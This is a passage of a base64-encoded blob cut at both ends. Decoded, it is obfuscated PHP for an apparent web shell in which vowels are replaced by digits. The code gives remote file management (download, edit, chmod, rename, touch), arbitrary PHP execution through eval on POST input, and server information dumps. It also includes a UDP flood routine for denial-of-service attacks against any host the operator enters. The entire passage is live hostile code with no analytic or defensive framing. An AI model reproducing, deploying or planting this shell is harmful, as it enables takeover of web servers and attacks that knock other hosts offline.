bJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkp